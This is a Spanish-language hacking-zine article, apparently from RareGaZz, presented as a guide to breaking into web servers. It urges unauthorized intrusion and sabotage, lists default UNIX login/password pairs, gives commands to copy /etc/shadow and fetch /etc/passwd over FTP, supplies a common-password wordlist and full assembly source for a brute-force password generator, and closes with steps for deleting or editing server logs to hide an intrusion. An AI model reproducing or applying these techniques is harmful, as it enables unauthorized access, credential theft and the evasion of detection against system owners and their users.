"Guia para
crackear Websites & Homepages" |
"Lo espantoso no es la altura, sino la pendiente. La pendiente donde la mirada se precipita a lo hondo y la mano se extiende hacia la cumbre. Alli es donde se apodera del corazon el vertigo de su doble voluntad." -Federico Nietzsche
1. Introduccion
Si alguna vez has hechado a volar tu imaginacion se te habra ocurrido que seria comico remover algunas graficas de algun website, o mejor aun borrar toda la pagina de algun enemigo para deleitarte con tu venganza. Pues bien, este es el manual que te ayudara a lograrlo.
Primero deberas entender que andar por ahi borrando paginas es *TONTO* e inmaduro. Lo que trato de hacer es que sientas la adrenalina de entrar a un sistema al que no estes autorizado y echar una ojeada alrededor. Si te dedicas a invadir sistemas y borrar archivos le quitaras el privilegio a otra persona de entrar a ese sistema ya que el operador se dara cuenta de la intrusion y aumentaran la seguridad negando asi la entrada a mas 'intrusos'. Si el sistema al que entraste pertenece a unos hijos de la chingada (Plantas Nucleares, Creadores de abrigos de piel, Agencias de Gobierno,etc) olvida lo antes dicho y haz que se arrepientan de haberse conectado a la red causando kaos o mejor aun, infectandolos con algun buen virus (por que no reemplazar un ejecutable por un caballo de troya?). En fin, usa tu cabeza y cuida de no ser sorprendido en tus viajes de kAoS.
2. Websites
Un website es solamente una computadora llamada servidor
por su capacidad de de realizar diferentes tareas
al mismo tiempo, ejecutando un sistema operativo que generalmente
sera UNIX o algunas de sus variaciones y con toda la informacion guardada en algun medio.
2.1 Ganando acceso a un servidor WWW
Aqui reside la magia del Hacker, la proteccion comun son dos preguntas Login y Password. El usuario que tenga una cuenta en ese servidor tiene un nombre de usuario (Login) y contrase�a (Password) por lo que la entrada a ese servidor no tiene problemas; pero para una persona ajena a ese servidor la entrada es un poco mas complicada.
Para poder penetrar el sistema necesitamos saber su URL y una vez conectados con el explorador prestar atencion al mensaje waiting reply from 103.38.28 o algo parecido que haga aparecer una direccion IP en lugar de el nombre de dominio.
Si lograste conseguir la direccion IP usa telnet para conectarte a esa direccion. Si cuando tratas de conectarte aparece el mensaje 'connection refused' probablemente este protegida esa direccion con una FIREWALL. Si este es el caso trata de hacer telnet a el nombre de dominio con la finalidad de llegar a el frustrante LOGIN/PASSWORD.
Para entrar necesitas conseguir alguna cuenta
haciendo algo de ingenieria social o intenta con los defaults.
* CUENTAS DEFAULTS DE UNIX *
Login: Password:
root
root
root
system
sys
sys
sys
system
daemon
daemon
uucp
uucp
tty
tty
test
test
unix
unix
unix
test
bin
bin
adm
adm
adm
admin
admin
adm
admin
admin
sysman
sysman
sysman
sys
sysman
system
sysadmin
sysadmin
sysadmin
sys
sysadmin
system
sysadmin
admin
sysadmin
adm
who
who
learn
learn
uuhost
uuhost
guest
guest
host
host
nuucp
nuucp
rje
rje
games
games
games
player
sysop
sysop
root
sysop
demo
demo
Si fracasas al intentar el acceso usando cada uno de los anteriores logins, probablemente tengas que conseguir el password de otra manera como relaciones humanas; esto significa que vas a tener que conseguir la clave valiendote de trucos como hablar por telefono a una persona que sepas que esta registrada en ese servidor y pedirle su Login y Password diciendo que necesitas validar su cuenta o algo parecido. Otra manera de conseguir un Password es crear un programa que robe las claves de acceso del disco duro de una persona.
3. Cuando se esta adentro
Una vez que hayas logrado entrar a un sistema necesitaras localizar y obtener el archivo passwd disponible en el directorio /etc
Para obtener el archivo PASSWD usa el siguiente ejemplo:
($ simboliza el prompt UNIX)
$ ftp
FTP> get /etc/passwd
FTP> quit
Para ver el contenido de el archivo usa el siguiente comando:
$ cat /etc/passwd
Una vez que tengas en tu posesion el archivo PASSWD editalo y fijate en su
contenido, debera tener la siguiente informacion:
usuario:contrase�a:ID:Grupo:descripcion/nombre:directorio:shell
usuario - Este es el login de algun
usuario.
contrase�a - Es el password de el usuario (encriptada con DES)
ID - Es la identificacion de ese usuario.
grupo - El grupo al que pertenece esta cuenta.
descripcion- El nombre del usuario.
directorio - El directorio de acceso de el usuario.
shell - El shell que procesa los comandos de ese usuario.
Un ejemplo podria ser:
john:234abc56:9999:13:John Johnson:/home/dir/john:/bin/john
Nombre de usuario: john
Password encriptado: 234abc56
Usuario numero: 9999
Numero de grupo: 13
Descripcion: John Johnson
Directorio de acceso: /home/dir/john
Shell: /bin/john
Si el archivo que conseguiste contiene la misma informacion pero en el campo del password tiene un asterisco (*) o cualquier otro caracter, significa que las contrase�as se encuentran 'sombreadas'.
Si las contrase�as se encuentra sombreada,las podras encontrar en el archivo shadow aunque generalmente no se puede tener acceso a ese archivo a menos de tener root. Una forma de conseguir SHADOW es usando el comando cp para copiarlo a otro archivo y despues tratar de obtener el archivo al que se copio, ejemplo:
$cp /etc/shadow /usuarios/carlos/hack.txt
$ftp
FTP> get /usuarios/carlos/hack.txt
FTP> quit
$rd /usuarios/carlos/hack.txt
Algunas otras maneras de obtener el archivo SHADOW seran
explicadas en otros numeros de RareGaZz.
Ya tengo los passwords encriptados, ahora que?
Los passwords estan encriptados usando one-way encription, significa que no se pueden des-encriptar. Lo que Unix hace es obtener la contrase�a del usuario,la encripta y la compara con la que ya esta encriptada, si coinciden entonces se le permite el acceso.
Para poder obtener las contrase�as es necesario tener un archivo con palabras y usar un programa para que encripte las palabras del archivo y las compare con las contrase�as encriptadas,si coinciden te avisa que palabra fue la que coincidio con la contrase�a encriptada.
Algunos programas de este tipo son:
Nombre Palabras por Segundo Computadora
John the
Ripper
5077
586
Starcracker
1300
586
Cracker Jack
1008
586
KillerCracker
350
586
Estos programas se encuentran disponibles en cualquier pagina de Hackers, si quieres la ultima version de StarCracker visita la siguiente URL: http://www.geocities.com/SiliconValley/park/8403/index.html
Para conseguir listas de palabras haz FTP a el siguiente
servidor:
warwick.ac.uk
directorio: /pub/cud
Algunas de las palabras mas usadas en contrase�as son:
aaa
academia
ada adrian
aerobics
airplane
albany albatros
albert
alex
alexander algebra
alias
alisa
alpha alphabet
ama
amy
analog anchor
andy
andrea
animal answer
anything
arrow
arthur ass
asshole
athena
atmosphere bacchus
badass
bailey
banana bandit
banks
bass
batman beautiful
beauty
beaver
daniel danny
dave
deb
debbie deborah
december
desire
desperate develop
diet
digital
discovery disney
dog
drought
duncan easy
eatme
edges
edwin egghead
eileen
einstein
elephant elizabeth
ellen
emerald
engine engineer
enterprise
enzyme
euclid evelyn
extension
fairway
felicia fender
finite
format
god hello
idiot
jester
john johnny
joseph
joshua
judith juggle
julia
kathleen
kermit kernel
knight
lambda
larry lazarus
lee
leroy
lewis light
lisa
louis
love lynne
mac
macintosh
mack maggot
martin
marty
marvin matt
master
maurice
maximum merlin
mets
michael
michelle mike
minimum
nicki
nicole rascal
really
rebecca
remote rick
reagan
robot
robotics rolex
ronald
rose
rosebud rosemary
roses
ruben
rules ruth
sal
saxon
scheme scott
secret
sensor
serenity sex
shark
sharon
shit shiva
shuttle
simon
simple singer
single
singing
smile smooch
smother
snatch
snoopy soap
socrates
spit
spring subway
success
summer
super support
surfer
suzanne
tangerine tape
target
taylor
telephone temptation
tiger
tigger
toggle tomato
toyota
trivial
unhappy unicorn
unknown
urchin
utility vicki
virginia
warren
water weenie
whatnot
whitney
will virgin
william
winston
willie wizard
wonbat
yosemite
zap whatnow
Obtuve algunas cuentas, ahora?
Para poder hacer y deshacer en el servidor necesitas el password de la cuenta root. Si despues de intentar con algunas listas de palabras no puedes necesitaras hacer un ataque en bruto, es decir empezar desde la letra A hasta la palabra zzzzzzzz
El siguiente programa necesita ser compilado usando
TASM y es una lista de palabras TSR que no ocupa espacio en disco y puede ser
modificada, es ideal para ataques brutos a la cuenta r00t (Programa Copiado de
Phrack 47)
P A S S W O R D E N G I N E (for IBM
PC's)
by Uncle Armpit
+++++++++++++++++++++++++++++++++++++++++++++
Que tan practico es?
Este programa no necesita mucho espacio en disco y puede crear listas de palabras de gran tama�o.
Con el ejemplo proporcionado, passwords empezando en
'aaaaaaa' y terminando en 'zzzzzzz' seran generados.
Como empiezo a usar esta lista de palabras?
Compila el codigo y nombralo "hackdrv.sys", despues necesitas configurarlo a�adiendo la siguiente linea en CONFIG.SYS
device=c:\hackdrv.sys
Una vez en memoria el programa creara la lista de variables en memoria llamada HACKPWD. Cualquier programa que uses (excepto StarCracker) debera reconocer hackpwd como una lista de palabras y empezar a crackear.
Si deseas reiniciar una sesion desde una combinacion especifica solo modifica el archivo HACKDRV.SYS con un editor HEXADECIMAL y modifica la cadena de caracteres con los que empieza ;-0
;-----------------------cut
here--------------------------------
;Program HACKDRV.SYS
;
org 0h
next_dev dd -1
attribute dw 0c000h
;character device w/ ioctl calls
strategy dw dev_strategy
interrupt dw dev_int
dev_name db 'HACKPWD '
countr dw offset number
number db 'aaaaaa',0ah ;<---- 6
caracteres en minusculas (empiezo)
numsize equ $-number - 2
afternum:
;working space for device driver
rh_ofs dw ?
rh_seg dw ?
dev_strategy:
;strategy routine
mov cs:rh_seg,es
mov cs:rh_ofs,bx
retf
dev_int:
;interrupt routine
pushf
push ds
push es
push ax
push bx
push cx
push dx
push di
push si
cld
push cs
pop ds
mov bx,cs:rh_seg
mov es,bx
mov bx,cs:rh_ofs
mov al,es:[bx]+2
rol al,1
mov di,offset cmdtab
xor ah,ah
add di,ax
jmp word ptr[di]
cmdtab:
;command table
dw init ;0
dw exit3 ;1
dw exit3 ;2
dw ioctl_read ;3
dw do_read ;4
dw exit3 ;5
dw exit3 ;6
dw exit3 ;7
dw exit3 ;8
dw exit3 ;9
dw exit3 ;10
dw exit3 ;11
dw ioctl_write ;12
dw exit3 ;13
dw 5 dup (offset exit3)
ioctl_read:
push es
push bx
mov si,es:[bx+10h]
mov di,es:[bx+0eh]
mov es,si
push cs
pop ds
mov si,offset number
xor cx,cx
get_char:
lodsb
stosb
inc cl
cmp al,0ah
jz ioctl_rend
jmp get_char
ioctl_rend:
pop bx
pop es
mov es:[bx+012h],cx
mov cs:countr,offset number
jmp exit2
ioctl_write:
push es
push bx
mov si,es:[bx+010h]
mov ds,si
mov si,es:[bx+0eh]
mov
cx,numsize+1
;es:[bx+012h]
push cs
pop es
mov di,offset number
repe movsb
pop es
pop bx
mov cs:countr,offset number
jmp exit2
do_read:
push es
push bx
push cs
pop ds
mov si,[countr]
inc
si
;word ptr [countr]
cmp si,offset afternum
jnz is_okay
mov si,offset number
call inc_num
is_okay:
mov [countr],si
mov di,es:[bx]+0eh
mov ax,es:[bx]+010h
mov cx, es:[bx]+012h
jcxz clean_up
mov es,ax
repe movsb
clean_up:
pop bx
pop es
jmp exit2
exit3: mov es:word ptr 3[bx],08103h
jmp exit1
exit2:
mov es:word ptr 3[bx],0100h
exit1:
pop si
pop di
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
popf
retf
exit:
inc_num proc near
push si
mov si,numsize
reiterate:
inc byte ptr [number+si]
cmp byte ptr [number+si],'z'+1 ;+1 past ending char. in range
jnz _exit
mov byte ptr [number+si],'a' ;starting char. in range
dec si
cmp si,-1
jnz reiterate
mov byte ptr [number],01ah ;send EOF
_exit:
pop si
ret
inc_num endp
at_eof: ; the non-resident code starts here
initial proc near
push es
push cs
pop ds
push cs
pop es
mov si,offset number
mov di,offset tmpnum
cld
_again:
lodsb
cmp al,0ah
jz _nomorechars
stosb
jmp _again
_nomorechars:
mov si,offset msgend
mov cx,4
repe movsb
mov
ah,09 ;print
welcome message
mov dx,offset msg1
int 21h
pop es
ret
initial endp
init: call initial
mov ax,offset at_eof
mov es:[bx]+0eh,ax
push cs
pop ax
mov es:[bx]+010h,ax
mov cs:word ptr cmdtab,offset exit3
jmp exit2
msg1 db "Incremental Password
Generator (c)1995",0ah,0dh
db "Written by Uncle
Armpit",0ah,0dh,0ah,0dh
db "Starting at word ["
tmpnum db 10 dup (?)
msgend db "]",0a,0d,'$'
;END hackdrv.sys
----------------------------------cut here----------------------------------
Como limpiar tus huellas
Si deseas que tu ingreso con la cuenta r00t no quede registrado en los LOGS de el servidor revisa los directorios buscando archivos como logs, syslog, log, o cualquiera que parezca que guarda un reporte de los accesos y borralos o mejor aun editalos usando el editor de archivos de UNIX. Para ejecutar el editor usa el comando vi
Edita o borra los siguientes archivos: /etc/syslog
/etc/log
/etc/logs
Existen algunos scripts para borrar las huellas como ZAP! disponibles en la red y en los proximos numeros de esta revista.
Le PompaItor